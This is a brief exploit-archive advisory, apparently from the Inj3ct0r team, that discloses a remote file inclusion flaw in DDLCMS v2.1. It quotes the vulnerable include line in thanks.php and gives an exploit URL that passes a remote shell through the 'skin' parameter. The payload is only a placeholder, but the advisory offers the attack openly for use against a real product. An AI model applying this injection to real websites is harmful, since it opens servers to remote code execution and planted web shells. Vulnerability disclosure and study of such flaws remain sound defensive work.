DDL CMS 2.1 Remote File Inclusion

`==============================================================  
DDLCMS v2.1 (skin) Remote File Inclusion Vulnerability  
==============================================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ######################################## 1  
0 I'm eidelweiss member from Inj3ct0r Team 1  
1 ######################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Vendor: www.ddlcms.com  
download: http://www.ddlcms.com/download.php  
Author: eidelweiss  
Contact: g1xsystem[at]windowslive.com  
  
=====================================================================  
  
-=[ Vuln Code ]=-  
  
[-] /thanks.php  
  
include(WWWROOT . 'skins/' . $skin . '/header.php'); // line 46  
include(WWWROOT . 'leftside.php');  
  
=====================================================================  
  
-=[ P0C ]=-  
  
"skin" parameter in FILE thanks.php is not Defined which can allow remote attackers to execute arbitrary PHP code via a URL  
  
-=[ exploit ]=-  
  
http://127.0.0.1/thanks.php?skin= [inj3ct0r sh3ll]  
  
  
=========================| -=[ E0F ]=- |=========================  
`